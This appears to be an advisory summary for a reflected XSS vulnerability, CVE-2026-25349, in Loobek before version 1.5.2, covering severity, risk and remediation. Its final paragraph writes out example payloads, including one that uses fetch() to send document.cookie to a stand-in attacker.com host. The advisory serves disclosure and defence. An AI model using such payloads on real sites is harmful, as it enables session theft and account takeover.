Loobek CVE-2026-25349

Remote attacker crafts malicious URL containing XSS payload and sends to victim. Victim must click the link in Loobek versions before 1.5.2. No authentication required. Reflected XSS executes in victim's browser with access to session cookies and user data.

While a CVSS score and vector are not provided, the vulnerability is classified as Reflected XSS, which typically carries medium to high severity depending on context. The attack vector is likely network-based (since reflected XSS requires URL manipulation) and requires user interaction (clicking a malicious link), reducing the attack complexity. Reflected XSS is not typically included in CISA's Known Exploited Vulnerabilities (KEV) catalog unless actively exploited at scale, but proof-of-concept (POC) code for Reflected XSS is trivial to construct and widely available in public repositories. The real-world risk is substantial for users of Loobek who manage websites with authentication or sensitive user data, as attackers can steal session cookies, perform actions on behalf of logged-in users, or inject credential-harvesting forms. However, exploitation requires social engineering (convincing users to click a crafted URL), which is a limiting factor compared to zero-click exploits. The presence of a fix (version 1.5.2 or later) and active reporting via Patchstack indicate this is a legitimate, remediable vulnerability with moderate urgency for administrators.

An attacker crafts a malicious URL such as https://victim-site.com/?page=<script>alert('xss')</script> or uses a more sophisticated payload to steal session cookies: https://victim-site.com/search?q=<img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'>, then distributes this link via email, social media, or phishing campaigns. When a logged-in administrator or user visits the link, the injected script executes in their browser within the context of the victim website, allowing the attacker to steal authentication tokens, modify page content, redirect to phishing pages, or perform unauthorized administrative actions. No POC exploit code availability is mentioned in the intelligence sources, but Reflected XSS exploits are trivial to craft and test locally.